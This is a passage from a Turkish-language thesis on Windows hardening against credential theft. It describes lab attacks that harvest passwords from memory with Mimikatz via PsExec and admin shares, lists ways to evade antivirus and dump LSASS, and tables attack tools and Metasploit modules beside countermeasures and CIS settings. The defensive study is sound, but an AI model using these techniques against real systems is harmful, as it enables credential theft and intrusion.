020 gibi DOS zaﬁyeti var ise Bu DLL'in kaldrlmas uygun görülmektedir. Ama baz
sistemlerin (Hyper V) oturumlar için belle§e yüklenmesi zorunludur. Wdigest ise baz
uygulamalar (Outlook Web Access) için a§ üzerinde LM/NTLM ile kimlik do§rulamas
için kullanlmaktadr. Kerberos ise etki alannn en kritik güvenlik paketlerinden biridir.
Kendisi için belirlenen sürenin sonunda (10 Saat gibi) hesap ön biletinin (TGT) yeni-
lenmesi için gerekli bir pakettir. Özellikle Windows i³letim sistemlerinde desteklenmeyen
servislerin her defasnda ³ifre sormasn engellemek amac ile yani bu servislere SSO des-
te§i kazandrp parola ve parola özetleri ³ifreli tutularak a§ üzerindeki standart kimlik
do§rulama protokollerini kullanmaktr. Bu durumda servisler parolalarn açk haline ih-
tiyaç duyduklarnda RAM üzerinden ³ifre çözülür ve servise açk halde verilmi³ olur. Bu
³ifre ile servis i³levini gerçekle³tirir [18].
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Sehir-PC1 bilgisayarnda kerberos, wdigest, tspkg DLL'leri silip, `Mimikatz' aracnn pa-
rolalarn açk halde ele geçiremedi§i msv1_0, schannel pku2u DLL'ler braklr. Yaplan
i³lem ³ekil 3.13 üzerinde görüldü§ü gibidir.
ekil 3.13: DLL'lerin Silinmesi (kerberos, wdigest, tspkg)
Bu durum beklenmeyen sorunlara sebep olabilir.
Örne§in;
Sehir-PC1 bilgisayarnn uzak masaüstü portunun açk olup olmad§n ö§renmek için
port taramas gerçekle³tirilir. Tarama sonucunda ³ekil 3.14 üzerinde görüldü§ü gibi 3389
nolu port uzak masaüstüne ait olup ve açktr.
ekil 3.14: DLL'lerin Silinmesinden Sonra Uzak Masaüstü Servisinin Kontrolü
Ancak ³ekil 3.15 üzerinde görüldü§ü gibi Sehir-PC1 bilgisayarna uzak masaüstü denendi
fakat ba§lant gerçekle³tirilemedi.
Bölüm 3 Önlemler 68
ekil 3.15: DLL'lerin Silinmesi Sonucu Olu³an Hata
Not:Silinen güvenlik paketlerinin sonucu bazen istenmeyen hatalara sebep olmaktadr.
3.2.4 stemci Taraﬂ Koruma Sistemlerinin Sa§lad§ Önlemler
Saldrganlar tarafndan özellikle kullanlan `Mimikatz' ve `WCE' gibi araçlar i³letim sis-
temine yüklendi§inde anti virüs mevcut ise genelde virüs olarak tespit edilebilmektedir.
Bu dosyalar online hizmet vermekte olan `Total Virüs'e yüklendi§inde ise birçok anti vi-
rüs yine bunlar tespit edebilmektedir. Bundan dolay bilgisayarlarda anti virüsün yüklü
olmas saldrganlar bir nebze olsun tespit etmeye yarayacaktr. Ancak kesin çözüm ola-
rak tavsiye edilmemektedir[18]. Çünkü çe³itli yöntemlerle anti virüsler atlatlarak bellek
üzerinde bulunan önemli veri ve parolalar elde edilebilmektedir. Bunlara birkaç örnek
a³a§daki gibidir.
 Anti virüslerin servisleri kapatlarak anti virüs durdurulabilir veya çe³itli yöntem-
lerle anti virüs duraklatlabilir.
 Genelde imza tabanl çal³tklarndan, zararl yazlm mutant edildi§inde zararl
yazlm tanyamayabilir.
 Anti virüsler genelde sabit disk üzerinde çal³rlar. Örne§in RAM üzerinde çal-
³an bir zararly yakalamayabilirler. Buna bir örnek olarak RAM üzerinde çal³an
`Mimikatz' versiyonu verilebilir.
 Lsass dump'n alarak parola elde edilebilir. Anti virüs bu durumda hiçbir aktivite
de bulunamaz.
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Not: Güvenlik açsndan Anti virüslere kesin çözüm olarak baklmamas gerekir. Anti
virüsler ancak saldr yüzeyini daraltmaktadrlar.
3.2.5 Uzaktan Eri³im Yöntemleri ile Olu³an Tehditlere Kar³ Alnmas
Gereken Önlemler
Bilgisayarlar arasnda genelde a§ üzerinden uzak masaüstü ba§lants gerçekle³tirilir.
Uzak masaüstü ba§lants d³nda ba³ka yöntemler de mevcuttur. Bu mevcut yöntemler-
den örne§in a§ üzerinde dosyalara eri³im gibi durumlar bulunmaktadr. Bu durumlarda
eri³im gerçekle³tirilen bilgisayarda açk oturum mevcut ise RAM üzerindeki kullanc
hesap bilgileri elde edilebilmektedir. Bu i³lem birkaç yöntemle a³a§da ki gibi gerçekle³-
tirilecektir.
3.2.5.1 Kullanc Bilgileri Kullanlarak PsExec ile Eri³im Sa§lanrken Olu³an
Tehdit ve Alnacak Önlemler
`Psexec' benzeri araçlar kullanlarak yaplan uzaktan eri³imlerde kullanlan hesap bilgileri
ile eri³im sa§lanan bilgisayarda oturumu bulunan kullanclarn hesap bilgileri RAM üze-
rinden elde edilebilmektedir. Bu tür i³lemler gerçekle³tirilirken `Psexec' aracnda kullanc
hesap bilgileri kullanlmamaldr. Aksi taktirde kullanlan hesap bilgileri RAM üzerinde
kayt edilece§inden ele geçirilebilmektedir. Saldr sonucu ekran çkts ile birlikte a³a§da
verilmi³tir.
Sehir-PC bilgisayarnda login olmu³ ve etki alan kullancs olan Kemaltez\cem.sari kul-
lancsnn, Sehir-PC1 bilgisayarna özellikle yönetimsel payla³mlara ula³mak için kulla-
nlan `Psexsec' arac ile ba§lantsn gerçekle³tirmektedir. Bu araç ba§lant için kullanc
kimlik bilgilerini kullanmaktadr. ekil 3.16 üzerinde görüldü§ü gibidir.
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ekil 3.16: Kullanc Bilgileri ile Psexec Eri³imi
Yaplan i³lemde kullancnn kimlik bilgileri kullanlarak Sehir-PC1 bilgisayarnn dosya
sistemine ula³lm³tr. Bu durumda oturumu açk ba³ka bir kullanc var ise RAM üzerin-
den oturum bilgileri elde edilebilir. Bu duruma örnek te³kil edecek Sehir-PC1 üzerinde
yerel kullanc olan mesut adl kullancnn oturumu da açktr. Yaplan saldrda ³ekil
3.17 üzerinde görüldü§ü gibi her iki kullancnn da parolas elde edilebilmektedir.
ekil 3.17: Kullanc Bilgisi ile Psexec Eri³im Gerçekle³tirilen Bilgisayarda Ram Üze-
rindeki Veri Durumu
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3.2.5.2 Kullanc Bilgileri Kullanlmadan PsExec ile Eri³im Sa§lanrken Olu-
³an Tehdit ve Alnacak Önlemler
`Psexec' benzeri araçlar kullanlarak yaplan uzaktan eri³imlerde kullanc bilgileri kul-
lanlmadan eri³im sa§lanan bilgisayarda sadece oturumu bulunan kullanclarn hesap
bilgileri RAM üzerinden elde edilebilmektedir. Ancak saldrgan bir proses olu³turup bu
prosesi ba§lant süresinde ayakta tutarsa ve bu prosesle ba³ka proseslere sçrayabilirse ya
da saldrgana ait proseslerin normal prosesmi³ gibi görünmesi (impersonation) durum-
larnda birçok hak elde edilebilmektedir. Elde edilen bu haklarn sadece ele geçirilmi³
bilgisayarda etkin olmas di§er bilgisayarlarn servislerine eri³ememesi için önem derecesi
yüksek hesaplarn `Account is sensitive and cannot be delegated ' özelli§inin seçilmi³ ol-
mas etkili bir önlemdir. Saldr sonucu ekran çkts ile birlikte a³a§da verilmi³tir.
Önceki çal³mada kullanc kimlik bilgisini kullanarak `Psexec' üzerinden uzaktan eri³im
gerçekle³tirilmi³ti. Yaplacak olan bu çal³mada ise kimlik bilgisi kullanmadan oturum
açmaya çal³lacaktr. Burada ilgili bilgisayara `Psexec'in çal³trld§ kullanc yetkisi
(kemaltez\cem.sari) ile i³lem gerçekle³tirir. Yaplan i³lem ³ekil 3.18 üzerinde görüldü§ü
gibidir.
ekil 3.18: Kullanc Bilgisi Kullanlmadan Psexec Eri³imi
Görüldü§ü üzere Sehir-PC1 bilgisayarnn dosya sistemine `Psexec' aracn kullanan kul-
lanc haklar ile eri³im sa§land. Bu durumda ayn bilgisayarda farkl kullanclarn otu-
rumlar açk kalm³ olabilir. Bu bilgisayarda ise yerel kullanc olan Sehir-PC1\mesut
kullancsnn oturumu açktr. Böylece mesut kullancsnn kimlik bilgileri elde edilmi³-
tir. Yine ayn bilgisayar üzerinde cem.sari kullancsnn proses çal³trd§ görülmektedir.
Yaplan i³lem ³ekil 3.19 üzerinde görüldü§ü gibidir.
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ekil 3.19: Kullanc Bilgisi Olmadan Psexec Eri³im Gerçekle³tirilen Bilgisayarda Ram
Üzerindeki Veri Durumu
3.2.5.3 Kayt Defteri ile Uzaktan Eri³im Sonucu Olu³an Tehdit ve Alnacak
Önlemler
Kullanc bilgisayarnda `Remote Registry ' servisi ba³latlm³ ise sunucu üzerinden Win-
dows Registry Editor ile eri³im sa§lanabilmektedir. Ancak bu ba§lant RAM üzerinde
herhangi bir kullanc bilgisi brakmad§ndan parola elde edilememektedir.
Önlem olarak Windows Registry Editor üzerinden ba§lant yaplamamas için kullanc
bilgisayarnda `Remote Registry ' servisi servis d³ braklmaldr. Saldr sonucu ekran
çkts ile birlikte a³a§da verilmi³tir.
Bu çal³mada Sehir-PC1 'de `Remote Registry ' servis ba³latlm³tr. Bu yüzden SER-
VER1 bilgisayarnda Sehir-PC1 adl bilgisayarn Windows Registry Editor 'üne eri³im
yaplabilmektedir. Yaplan i³lem ³ekil 3.20 üzerinde görüldü§ü gibidir.
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ekil 3.20: Windows Registry Editor Kullanlarak A§ Üzerinden Hedef Bilgisayara
Eri³im
Saldr sonucu olarak Sehir-PC1 bilgisayarnda sadece mesut adl yerel kullancnn pa-
rolas elde edilebilmi³tir. ekil 3.21 üzerinde görüldü§ü gibi herhangi bir prosesin ba³la-
tlmad§ gözlemlenmektedir.
ekil 3.21: Windows Registry Editor ile Eri³im Gerçekle³tirilen Bilgisayarda Ram
Üzerindeki Veri Durumu
3.2.5.4 Yönetimsel Payla³mlarla Dosya Sistemine Uzaktan Eri³im Sa§lan-
dktan Sonra Olu³an Tehdit ve Alnacak Önlemler
Genellikle etki alan kullanclar kendi bulunduklar a§da ki bilgisayarlarn yönetimsel
payla³mlarna eri³ebilmektedirler. Bu durum `Mimikatz' benzeri bir araç ile istismar edil-
di§inde sadece bilgisayarda oturum açm³ kullanclarn hesap bilgileri RAM üzerinden
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elde edilebilmektedir. Ancak yönetimsel payla³mlara ula³an kullancnn hesap bilgileri
alnamamaktadr. Bu ba§lantlarn yaplamamas için alnacak etkin önlem ise dosya sis-
temlerinde payla³mlarn belirli IP'ler (Etki Alan Denetleyicileri veya Jupm Server) için
açk olmas tavsiye edilebilir. Saldr sonucu ekran çkts ile birlikte a³a§da verilmi³tir.
Etki alan kullancs olan kemaltez\cem.sari kullancs, Sehir-PC1 bilgisayarnn dosya
sitemine ula³abilmektedir. Yaplan i³lem ³ekil 3.22 üzerinde görüldü§ü gibidir.
ekil 3.22: A§ Üzerinden Hedef Bilgisayarn Yönetimsel Payla³mna Eri³im
Çal³mann sonucuna bakld§nda etki alan kullancsnn herhangi bir kimlik bilgisi
alnamamaktadr. Ancak Sehir-PC1 üzerindeki yerel kullanc olan mesut kullancsnn
bilgileri alnabilmektedir. ekil 3.23 üzerinde görüldü§ü gibi herhangi bir proses ba³latl-
mam³tr.
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ekil 3.23: Yönetimsel Payla³m Üzerinden Eri³im Gerçekle³tirilen Bilgisayarda Ram
Üzerindeki Veri Durumu
3.3 Bize Özgü Olan Bir ey (Something You Are) Sa§lad§
Önlemler
Burada biyometrik veriler devreye girmektedir. Bu biyometrik verileri güçlü algoritmalar
içeren ³ifreleme yöntemleri kullanlmaldr. Veride bir de§i³iklik olup olmad§n kontrol
etmek için gelenksel özetleme yöntemi (MD5,SHA1 vb) kullanlmaldr. E§er güçlü bir
algoritma kullanlmazsa veriler ele geçirildi§inde birçok istismar yöntemi vardr. Dolays
ile burada önemli olan nokta verilerin veri tabannda çok iyi korunmas gere§idir. Ayn
³ekilde sistemin güvenli oldu§undan emin olunmaldr.
E§er sistem kimlik do§rulamak için sradan bir yöntem kullanyorsa yani istemci ile
sunucu arasndaki ileti³imler de kimlik do§rulamay yaparken veriler açk bir ³ekilde
kullanlyor ve bunun sonucu `Bize Özgü Olan Bir ey' 'in öz niteli§i ele geçirilirse ciddi
skntlara sebep olacaktr.
Güvenli bir sistem, sa§lam bir veri taban ve ³ablonlarda güçlü algoritmik ³ifreler kulla-
nld§nda saldrgan en kötü ihtimal özet de§erini elde edecektir. Bu da öz nitelik olma-
d§ndan ciddi problemler do§urmayacaktr. Ama bu durum sistemin çok güvenli oldu§u
anlamn ta³mamaktadr.
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3.4 Yaplan Saldrlara Kar³ Alnabilecek Önlemler Tab-
losu
Saldrlara kar³ önlemlerin kesin sonuç olmad§ bilinmektedir. Örne§in bir zaﬁyet ta-
ramas belli bir aç§ bulurken yeni bir aç§ bulamayabilmektedir. Mevcut durumda
kullanc faktörü oldu§undan bilinçli ya da bilinçsiz ba³ka zaﬁyetlere meydan vermek-
tedir. Hiçbir zaman hiçbir güvenlik önlemi kesin çözüm olarak alglanamaz. Ancak her
zaman alnacak güvenlik önlemleri bir çok noktada güvenli§i sa§layacaktr.
Özellikle önlemler ksmnda Parola Politikas, Güncelleme Politikas, Disk ³ifreleme, Far-
kndalk E§itimleri, Hesap Yönetimi, Güvenlik Duvar Politikalar ve UAC gibi önlemler
alnarak konu kapsamndaki 3.1 tablosunda da belirtildi§i gibi bir çok saldrdan koru-
nulabilir.
Tabloda yaplan saldr türü, saldrda kullanlan araç ve bu saldrya kar³ alnabilecek
önlem önerisinde bulunulmu³tur. `Saldr' sütununda Bölüm 2 üzerindeki konu ba³lkla-
rndan referans verilmi³tir. lgili saldrya kar³ alnabilecek önlem ise `Alnacak Önlem'
sütununda verilmi³ ve Bölüm 3 üzerinde konu ba³lklar ile ili³kilendirilmi³tir. Orta sü-
tun olan `Kullanlan Araç' sütunu ise tehditler sonucu olu³an açklklara yönelik yaplan
saldrda kullanlan araç isimleri verilmi³tir.
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Tablo 3.1: Saldrlara Kar³ Alnabilecek Önlemler Tablosu
Saldr Kullanlan Araç Alnacak Önlem
1 2.1Fiziksel Güvenli§i
Atlatma (Disk siste-
mine eri³im sa§lama)
samdump2, bkhive ve Ophcrack BIOS Ayarlarnn yaplmas, Parola
Politikas, Disk ³ifreleme
2 2.1Fiziksel Güvenli§i
Atlatma (Oturuma
eri³im sa§lama)
Utilman.exe, Sethc.exe BIOS Ayarlarnn yaplmas, Parola
Politikas, Disk ³ifreleme
3 2.7 Zaﬁyet stis-
mar (³letim sistemi
zaﬁyetlerinden fayda-
lanma)
MSFconsole Modülleri:
MS03_026, MS04_007,
MS08_067
Güncelleme Politikas, Parola Yö-
netimi, Kullanc Taraﬂ Program
kontrolü
4 2.7 Zaﬁyet stismar
(Uygulama zaﬁyetle-
rinden faydalanma)
MSFconsole Modülleri: Uygu-
lama modülleri (Örn:Achat, Fre-
esshd)
Güncelleme Politikas, Kullanlma-
yan servislerin kapatlmas, Parola
Yönetimi
5 2.5Parola ve Parola
Özetleri Kullan-
larak Bilgisayarda
Eri³im Elde Etme
(Konﬁgürasyon
zaﬁyetlerinden fayda-
lanma)
MSF psexec, MSF psexec_psh,
Mimimatz
Kullanlmayan servislerin kapatl-
mas, Parola Yönetimi, Yönetimsel
payla³mlar
6 2.5Parola ve Parola
Özetleri Kullanlarak
Bilgisayarda Eri³im
Elde Etme (Hak
Yükseltme)
Psexec ve MSFconsole Modül-
leri: MS10_015, MS13_053,
MS14_068, MS15_051
Güncelleme Politikas, UAC, s-
temci bazl önlemler.
7 2.1Fiziksel Güvenli§i
Atlatma (Parola özet-
leri veya bu bilgileri
içeren dosyalar elde
etmek)
Cain & Abel, Metasploit
hashdump post modülü,
smart_hashdump
Kullanc Taraﬂ Program kontrolü,
Yetki Kullanm kstlanmalar, Eri-
³im Kontrolleri, Verilerin ifreli Sak-
lanmas, DLP, Tuzak Kullanc, Yet-
kili Kullanc ile gereksiz oturum
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8 2.5Parola ve Parola
Özetleri Kullan-
larak Bilgisayarda
Eri³im Elde Etme
(Elde edilen kimlik
bilgileri ile oturum
açlabilecek Windows
bilgisayarlarn tespit
edilmesi)
Hydra, smb_login, Medusa Konﬁgürasyonel önlemler
9 2.3 RAM Üzerinde
Kaytl Jetonlar Elde
Etme
Meterpreter steal_token, mig-
rate
Yetki Kullanm kstlanmalar, Eri-
³im Kontrolleri, Yetkili Kullanc
ile gereksiz oturum açmama, DLP,
Akll kart kullanm
10 2.4 RAM Üzerindeki
Kaytl Parolalar
Elde Etme
Mimikatz, WCE, Meterpreter
Mimikatz, Çevrimd³ LSASS
Yetki Kullanm kstlanmalar, Eri-
³im Kontrolleri, Verilerin ifreli Sak-
lanmas, DLP, Tuzak Kullanc, Yet-
kili Kullanc ile gereksiz oturum,
Akll kart kullanm
3.5 CIS (Center for Internet Security) ve Önlemler ile E³-
le³tirmelerin Gerçekle³tirilmesi
CIS dünya çapnda referans olarak kullanlan güvenlik klavuzudur. Birçok tarama arac CIS güvenlik
klavuzlarn referans alarak, güvenlik denetlemelerini yapmaktadr. Örnek olarak Nessus tarama arac
verilebilir.
CIS klavuzlarn https://benchmarks.cisecurity.org/downloads/multiform/ adresinden indirilebilir.
³letim sistemleri için güvenlik politikalarnn önemini hem `Tehditler ve Saldr' bölümünde hem de `Ön-
lemler' bölümünde yer verildi. Bu do§rultuda güvenlik politikalarn asl ³ekillendiren referans kaynaklar
mevcuttur. Bu kaynaklar uzmanlar tarafndan sürekli güncellenerek yaynlanmaktadr. Burada ise CIS
(Center of Internet Security) tarafndan hazrlanan güvenlik klavuzlar baz alnarak özellikle Windows
7 ve 8 deki güvenlik politikalar ile tezde alnan önlemler e³le³tirilecektir.
CIS kontrol listesinde bulunmayp Bölüm - 3'te alnan önlemler arasnda bulunan di§er önlemler ise Ana
Konu Ba³l§ olan 3.2 Bellekten Parola Elde Edilmesini Önleme Yöntemleri ve alt ba³lklar olan;
Konu - 3.2.1 Oturum Sonlandrlrken Ortaya Çkan Tehditler ve Alnacak Önlemler,
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Konu - 3.2.2 Güvenli Parola Kullanm ve Skla³trma Önlemleri, Konu - 3.2.3 Kullanl-
mayan Kütüphanelerin (DLL) Kaldrlmas ile Sa§lanan Önlemler, Konu - 3.2.4 stemci
Taraﬂ Koruma Sistemlerinin Sa§lad§ Önlemler ve Konu - 3.2.5 Uzaktan Eri³im Yön-
temleri ile Olu³an Tehditlere Kar³ Alnmas Gereken Önlemlerdir.
`CIS Windows 7' sütununda Windows 7 i³letim sistemi için kimlik do§rulamada kul-
lanlmas önerilen politikalar mevcuttur. `CIS Windows 8' sütununda ise Windows 8
i³letim sistemi için kimlik do§rulamada kullanlmas önerilen politikalar bulunmaktadr.
`Windows Varsaylan De§eri(Win. Vars. Deg.)' sütunu Windows i³letim sisteminin ilk
kurulumunda gelen varsaylan de§eri bulunmaktadr. Son sütun olan `Yaplan ³lem' sü-
tunu ise Bölüm 3 üzerinde anlatlan önlemler mevcuttur. Ayn satrda olan politikalara
e³ gelen önlemler eklenmi³ ve Bölüm 3 ile ili³kilendirilmi³tir. Dolaysyla tablonun ayn
satrnda olan bilgiler birbirine e³ de§er bilgilerdir.
Not1: 3.2 Tablosunda kullanlan Windows 7 ve 8 CIS güvenlik klavuzuna ait bilgiler
[19] ve [20] nolu referanslardan alnm³tr.
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Tablo 3.2: CIS ve Önlemler E³le³tirme Tablosu
CIS Windows 7 CIS Windows 8 Win. Vars.
De§.
Yaplan ³lem
1.1.1.1 BitLocker Drive
Encryption
1.2.4.2 BitLocker Ayarlanmam³ 3.1.1 BIOS Ayar-
lar(Fiziksel önlemler)
1.1.1.2.1 Set `Turn oﬀ
Autoplay' to `Enab-
led:All drives' (Scored)
1.2.4.1.1 Set `Turn oﬀ
Autoplay on' to `Enab-
led:All drives' (Scored)
Ayarlanmam³ 3.1.9 Di§er Güvenlik Ön-
lemleri
1.1.1.6 Windows Update 1.2.4.7 Windows Update Opsiyonel 3.1.3 Güncelle³tirmelerin
Yaplmas
1.2.1.1.1.2 Set `User Ac-
count Control: Detect
application installations
and prompt for elevation'
to `Enabled'
1.1.3.17.2 Set `User Acco-
unt Control: Detect app-
lication installations and
prompt for elevation' to
`Enabled' (Scored)
Etkin 3.1.8 UAC Ayarlar
1.2.1.1.1.23 Set `User
Account Control: Admin
Approval Mode for the
Built-in Administrator
account' to `Enabled'
1.1.3.17.1 Set `User Acco-
unt Control: Admin App-
roval Mode for the Built-
in Administrator acco-
unt' to `Enabled'
Devre d³ 3.1.8 UAC Ayarlar
1.2.1.1.1.48 Set `User Ac-
count Control: Allow UI-
Access applications to
prompt for elevation wit-
hout using the secure
desktop' to `Disabled'
1.1.3.17.8 Set `User Ac-
count Control: Allow UI-
Access applications to
prompt for elevation wit-
hout using the secure
desktop' to `Disabled'
Devre d³ 3.1.8 UAC Ayarlar
1.2.1.1.1.50 Set `User Ac-
count Control: Switch to
the secure desktop when
prompting for elevation'
to `Enabled'
1.1.3.17.7 Set `User Ac-
count Control: Switch to
the secure desktop when
prompting for elevation'
to `Enabled'
Etkin 3.1.8 UAC Ayarlar
1.2.1.1.1.52 Set `User Ac-
count Control: Behavior
of the elevation prompt
for standard users' to
`Automatically deny ele-
vation requests'
1.1.3.17.3 Set `User Acco-
unt Control: Behavior of
the elevation prompt for
standard users' to `Auto-
matically deny elevation
requests'
Kimlik sorma 3.1.8 UAC Ayarlar
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1.2.1.1.1.74 Set `User Ac-
count Control: Virtualize
ﬁle and registry write fa-
ilures to per-user locati-
ons' to `Enabled'
1.1.3.17.6 Set `User Ac-
count Control: Virtualize
ﬁle and registry write fa-
ilures to per-user locati-
ons' to `Enabled'
Etkin 3.1.8 UAC Ayarlar
1.2.1.1.1.79 Set `User Ac-
count Control: Only ele-
vate UIAccess applica-
tions that are installed
in secure locations' to
`Enabled'
1.1.3.17.5 Set `User Ac-
count Control: Only ele-
vate UIAccess applica-
tions that are installed
in secure locations' to
`Enabled'
Etkin 3.1.8 UAC Ayarlar
1.2.1.1.1.80 Set `User
Account Control: Run
all administrators in
Admin Approval Mode'
to `Enabled'
1.1.3.17.10 Set `User
Account Control: Run
all administrators in
Admin Approval Mode'
to `Enabled'
Etkin 3.1.8 UAC ayarlar
1.2.1.1.1.89 Set `User Ac-
count Control: Behavior
of the elevation prompt
for administrators in Ad-
min Approval Mode' to
`Prompt for credentials'
3.1.8 UAC Ayarlar
1.2.1.1.1.7 Set `Microsoft
network client: Digitally
sign communications (if
server agrees)' to `Enab-
led'
1.1.3.7.3 Set `Microsoft
network client: Digitally
sign communications (if
server agrees)' to `Enab-
led'
Etkin 3.1.9 Di§er Güvenlik Ön-
lemleri
1.2.1.1.1.11 Set `Network
security: Minimum ses-
sion security for NTLM
SSP based (including
secure RPC) clients'
to `Require NTLMv2
session security,Require
128-bit encryption'
1.1.3.11.7 Set `Network
security: Minimum ses-
sion security for NTLM
SSP based (including
secure RPC) clients'
to `Require NTLMv2
session security,Require
128-bit encryption'
128 bit ³ifreleme
gerekir
3.1.5 Kritik Hesaplarn
Kullanm (A§ Üzerinden
NTLMv2 Kullanm)
1.2.1.1.1.12 Set `Acco-
unts: Limit local account
use of blank passwords
to console logon only' to
`Enabled'
1.1.3.1.6 Set `Accounts:
Limit local account use of
blank passwords to con-
sole logon only' to `Enab-
led'
Etkin 3.1.5 Kritik He-
saplarn Kulla-
nm(Kullanlmayan
Hesaplarn Kapatlmas)
1.2.1.1.1.20 Set `Network
access: Let Everyone per-
missions apply to anony-
mous users' to `Disabled'
1.1.3.10.1 Set `Network
access: Let Everyone per-
missions apply to anony-
mous users' to `Disabled'
Devre d³
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1.2.1.1.1.28 Set `Acco-
unts: Guest account sta-
tus' to `Disabled'
1.1.3.1.5 Set `Accounts:
Guest account status' to
`Disabled'
Devre d³ 3.1.5 Kritik Hesaplarn
Kullanm (Kullanlma-
yan Hesaplarn Kapatl-
mas)
1.2.1.1.1.29 Set `Micro-
soft network server: Di-
gitally sign communicati-
ons (always)' to `Enab-
led'
1.1.3.8.5 Set `Microsoft
network server: Digitally
sign communications (al-
ways)' to `Enabled'
Devre d³ 3.1.9 Di§er Güvenlik Ön-
lemleri
1.2.1.1.1.24 Set `Micro-
soft network server: Di-
gitally sign communicati-
ons (if client agrees)' to
`Enabled'
1.1.3.8.3 Set `Microsoft
network server: Digitally
sign communications (if
client agrees)' to `Enab-
led'
Devre d³ 3.1.9 Di§er Güvenlik Ön-
lemleri
1.2.1.1.1.30 Set `Micro-
soft network client: Di-
gitally sign communicati-
ons (always)' to `Enab-
led'
1.1.3.7.2 Set `Microsoft
network client: Digitally
sign communications (al-
ways)' to `Enabled'
Devre d³ 3.1.9 Di§er Güvenlik Ön-
lemleri
1.2.1.1.1.31 Conﬁgure
`Network Security: Rest-
rict NTLM: Outgoing
NTLM traﬃc to remote
servers'
1.1.3.11.8 Conﬁgure `Ne-
twork Security: Restrict
NTLM: Outgoing NTLM
traﬃc to remote servers'
Tanmlanmam³ 3.1.5 Kritik Hesaplarn
Kullanm(A§ Üzerinden
NTLMv2 Kullanm)
1.2.1.1.1.32 Set `Network
access: Restrict anony-
mous access to Named
Pipes and Shares' to
`Enabled'
1.1.3.10.5 Set `Network
access: Restrict anony-
mous access to Named
Pipes and Shares' to
`Enabled'
Etkin 3.1.2 A§ Ayarlarnn Ya-
plandrlmas (Payla³m-
larn denetlenmesi )
1.2.1.1.1.34 Conﬁgure
`Network Security: Con-
ﬁgure encryption types
allowed for Kerberos'
1.1.3.11.15 Set `Net-
work Security: Conﬁgure
encryption types allo-
wed for Kerberos' to
`RC4\AES128\AES256\
Future types'
Not Tanmlan-
mam³
3.1.5 Kritik Hesaplarn
Kullanm (Kerberos kul-
lanm)
1.2.1.1.1.37 Set `User Ac-
count Control: Only ele-
vate executables that are
signed and validated' to
`Disabled'
1.1.3.17.9 Set `User Acco-
unt Control: Only elevate
executables that are sig-
ned and validated' to `Di-
sabled'
Devre d³ 3.1.8 UAC Ayarlar
1.2.1.1.1.38 Conﬁgure
`Network Security: Rest-
rict NTLM: Incoming
NTLM traﬃc'
1.1.3.11.14 Conﬁgure
`Network Security: Rest-
rict NTLM: Incoming
NTLM traﬃc'
Tanmlanmam³ 3.1.5 Kritik Hesaplarn
Kullanm(A§ Üzerinde
NTLMv2 Kullanm)
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1.2.1.1.1.42 Set `Network
access: Do not allow
anonymous enumeration
of SAM accounts' to
`Enabled'
1.1.3.10.9 Set `Network
access: Do not allow
anonymous enumeration
of SAM accounts' to
`Enabled'
Etkin 3.1.5 Kritik Hesaplarn
Kullanm (Yetkili kulla-
nc denetimi)
1.2.1.1.1.47 Set `Network
security: Do not store
LAN Manager hash value
on next password change'
to `Enabled'
1.1.3.11.1 Set `Network
security: Do not store
LAN Manager hash value
on next password change'
to `Enabled'
Etkin 3.1.5 Kritik Hesaplarn
Kullanm(LM Devre
D³ Braklmas)
1.2.1.1.1.61 Set `Network
security: LAN Manager
authentication level' to
`Send NTLMv2 response
only. Refuse LM &
NTLM'
1.1.3.11.11 Set `Network
security: LAN Manager
authentication level' to
`Send NTLMv2 response
only. Refuse LM &
NTLM'
Sadece
NTLMv2'ye
Cevap
3.1.5 Kritik Hesaplarn
Kullanm(A§ Üzerinden
NTLMv2 Kullanm)
1.2.1.1.1.62 Set `Network
access: Do not allow
anonymous enumeration
of SAM accounts and
shares' to `Enabled'
1.1.3.10.3 Set `Network
access: Do not allow
anonymous enumeration
of SAM accounts and
shares' to `Enabled'
Devre d³ 3.1.5 Kritik Hesaplarn
Kullanm (Gereksiz He-
saplarn Devre D³ Bra-
klmas, Yetkili Kullanc
Denetimi)
1.2.1.1.1.67 Conﬁgure
`Interactive logon: Requ-
ire smart card'
1.1.3.6.3 Conﬁgure `In-
teractive logon: Require
smart card'
Devre d³ 1.1.5 Akll kart kullanma
1.2.1.1.1.69 Set `Interac-
tive logon: Number of
previous logons to cache
(in case domain control-
ler is not available)' to `2'
1.1.3.6.5 Set `Interactive
logon: Number of previ-
ous logons to cache (in
case domain controller is
not available)' to `4 or fe-
wer logon(s)'
10 Oturum
açma
3.1.5 Kritik Hesaplarn
Kullanm
1.2.1.1.1.71 Conﬁgure
`Network Security: Rest-
rict NTLM: NTLM
authentication in this
domain'
1.1.3.11.5 `Network Se-
curity: Restrict NTLM:
NTLM authentication in
this domain'
Tanmlanmam³ 3.1.5 Kritik Hesaplarn
Kullanm (A§ Üzerinde
NTLMv2 Kullanm)
1.2.1.1.1.72 Set `Network
security: Minimum ses-
sion security for NTLM
SSP based (including
secure RPC) servers'
to `Require NTLMv2
session security,Require
128-bit encryption'
1.1.3.11.2 Set `Network
security: Minimum ses-
sion security for NTLM
SSP based (including
secure RPC) servers'
to `Require NTLMv2
session security,Require
128-bit encryption'
128 bit ³ifreleme
gerekir
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1.2.1.1.1.84 Conﬁgure
`System settings: Use
Certiﬁcate Rules on
Windows Executables
for Software Restriction
Policies'
1.1.3.16.2 Conﬁgure `Sys-
tem settings: Use Certi-
ﬁcate Rules on Windows
Executables for Software
Restriction Policies'
Devre d³ 3.1.5 Kritik Hesaplarn
Kullanm
1.2.1.1.1.88 Set `Network
access: Shares that can
be accessed anonymo-
usly' to
1.1.3.10.8 Set `Network
access: Shares that can
be accessed anonymo-
usly' to `Not Deﬁned'
Tanmlanmam³
1.2.1.1.1.92 Conﬁgure
`Network access: Do not
allow storage of pass-
words and credentials for
network authentication'
1.1.3.10.11 Conﬁgure
`Network access: Do not
allow storage of pass-
words and credentials for
network authentication'
Devre d³ 3.1.5 Kritik Hesaplarn
Kullanm (Parola Politi-
kas)
1.2.1.1.2 User Rights As-
signment
1.1.4 User Rights Assign-
ment
Administrators,
Remote Desk-
top Users
3.1.9 Di§er Güvenlik Ön-
lemleri (Yetkilendirme)
1.2.1.2.1 Audit Policies 1.1.2 Advanced Audit
Policy Conﬁguration
Denetimsiz J.2.2.5 Kayt tutma
1.1.1.3 Event Log Service 1.2.4.4 Event Log 20480 KB J.2.2.5 Kayt Tutma
1.2.1.3 Windows Firewall
with Advanced Security
1.1.5 Windows Firewall
With Advanced Security
Evet 3.1.7 Windows Firewall
with Advanced Security
1.2.1.4 Account Policies Tanmlanmam³ 3.1.5 Kritik Hesaplarn
Kullanm
Ek A
Fiziksel Güvenli§i Atlatma
